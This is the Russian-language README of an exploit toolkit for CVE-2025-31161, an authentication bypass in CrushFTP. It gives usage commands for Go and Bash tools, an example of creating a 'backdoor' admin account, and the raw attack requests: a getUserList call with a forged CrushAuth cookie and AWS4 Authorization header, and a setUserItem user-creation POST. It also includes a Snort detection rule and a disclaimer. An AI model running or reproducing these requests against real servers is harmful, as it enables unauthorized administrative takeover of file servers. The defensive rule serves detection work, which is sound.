
Многоязычный набор эксплойтов для CVE-2025-31161, обход аутентификации в CrushFTP. Позволяет обнаруживать уязвимости, перечислять пользователей и создавать неавторизованные учетные записи администратора для авторизованного тестирования безопасности и задач CTF.
Комплексный набор инструментов для эксплуатации CVE-2025-31161 — уязвимости обхода аутентификации в CrushFTP, позволяющей создавать несанкционированные учётные записи.
CVE-2025-31161 — критическая уязвимость обхода аутентификации в CrushFTP, позволяющая злоумышленникам создавать несанкционированные учётные записи без надлежащей аутентификации. Уязвимость присутствует в функциональности управления пользователями веб-интерфейса.
-t, -p, -tuCrushFTP-auth-bypass-CVE-2025-31161/
├── README.md # Эта документация
├── cve-2025-31161.go # Реализация на Go (рекомендуется)
├── cve-2025-31161.sh # Реализация на Bash
└── LICENSE # Лицензия MIT
# Установите Go (если ещё не установлено)
sudo apt install golang-go
# или
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
# Требуется curl (обычно предустановлен)
sudo apt install curl
git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh
# Базовое использование с короткими флагами
go run cve-2025-31161.go -t example.com -lu
# С нестандартным портом
go run cve-2025-31161.go -t example.com -p 8080 -lu
# Полные имена флагов
go run cve-2025-31161.go --target_host example.com --port 8080 -lu
# Создание нового пользователя (будет запрошено имя и пароль)
go run cve-2025-31161.go -t example.com -au
# С указанием целевого пользователя (по умолчанию: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au
# Полные имена флагов
go run cve-2025-31161.go --target_host example.com --target_user admin -au
# Базовое использование
./cve-2025-31161.sh -t example.com -lu
# С нестандартным портом
./cve-2025-31161.sh -t example.com -p 8080 -lu
# Создание нового пользователя
./cve-2025-31161.sh -t example.com -au
# С нестандартными настройками
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au
# Пример 1: Перечисление пользователей на цели
go run cve-2025-31161.go -t ftp.example.htb -lu
# Пример 2: Создание бэкдор-учётной записи
go run cve-2025-31161.go -t ftp.example.htb -au
# Затем введите: username: backdoor, password: P@ssw0rd123
# Пример 3: Нестандартный порт с перечислением пользователей
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu
# Просмотр справки
./cve-2025-31161.sh --help
flowchart TD
A[Start Exploit] --> B[Check Target Connectivity]
B --> C{Target Reachable?}
C -->|No| D[Exit: Connection Failed]
C -->|Yes| E[Send getUserList Request]
E --> F{Response Contains OK?}
F -->|No| G[Exit: Not Vulnerable]
F -->|Yes| H[Target is Vulnerable!]
H --> I{Mode Selected?}
I -->|List Users -lu| J[Parse XML Response]
J --> K[Display User List]
K --> L[Exit: Success]
I -->|Add User -au| M[Prompt for Username]
M --> N[Prompt for Password]
N --> O[Send Warm-up Request]
O --> P[Craft User Creation Payload]
P --> Q[Send setUserItem Request]
Q --> R{User Created Successfully?}
R -->|Yes| S[Success: Account Created]
R -->|No| T[Failed: Exploitation Failed]
style A fill:#e1f5fe
style H fill:#c8e6c9
style K fill:#81c784
style S fill:#4caf50
style D fill:#ffcdd2
style G fill:#ffcdd2
style T fill:#ffcdd2
Скрипт сначала отправляет запрос getUserList, чтобы проверить, уязвима ли цель:
GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Если ответ содержит <response_status>OK</response_status>, цель уязвима.
При использовании флага -lu скрипт анализирует XML-ответ и извлекает имена пользователей:
<user_list type="vector">
<user_list_subitem>ben</user_list_subitem>
<user_list_subitem>crushadmin</user_list_subitem>
<user_list_subitem>default</user_list_subitem>
</user_list>
Вывод:
[+] Users:
- ben
- crushadmin
- default
При использовании флага -au скрипт отправляет запрос setUserItem с вредоносной XML-нагрузкой:
POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded
command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If
Скрипт проверяет наличие <response_status>OK</response_status> в ответе, чтобы подтвердить успешное создание пользователя.
Уязвимость возникает из-за недостаточной проверки аутентификации в функциональности управления пользователями веб-интерфейса CrushFTP. Приложение принимает запросы на создание пользователей без надлежащей проверки прав вызывающей стороны.
setUserItem в веб-логах/webinterface/function/# Пример правила Snort/Suricata
alert http any any -> any any (msg:"CrushFTP CVE-2025-31161 Exploit Attempt"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)
⚠️ ВАЖНО: Этот инструмент предназначен для:
НЕ ИСПОЛЬЗУЙТЕ в системах без явного письменного разрешения. Несанкционированный доступ к компьютерным системам незаконен и может повлечь серьёзные правовые последствия.
Приветствуются любые вклады! Пожалуйста:
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)| Версия | Дата | Изменения |
|---|---|---|
| 1.0.0 | 2025-01-XX | Первоначальный выпуск с реализациями на Go и Bash |
| 1.1.0 | 2025-01-XX | Интерактивный режим и обнаружение уязвимости |
По вопросам, предложениям или проблемам безопасности, пожалуйста, создайте issue в этом репозитории.
| Флаг | Полная форма | Описание | По умолчанию |
|---|
-t | --target_host | Целевое имя хоста или IP (обязательно) | - |
-p | --port | Целевой порт | 80 |
-tu | --target_user | Целевой пользователь для эксплуатации | crushadmin |
-lu | --list-users | Список существующих пользователей | - |
-au | --add-user | Добавить нового пользователя (интерактивно) | - |
--help | Показать справку | - |
| 1.2.0 |
| 2025-10-02 |
| Добавлено перечисление пользователей (-lu), отдельный режим добавления пользователя (-au), короткие флаги (-t, -p, -tu) |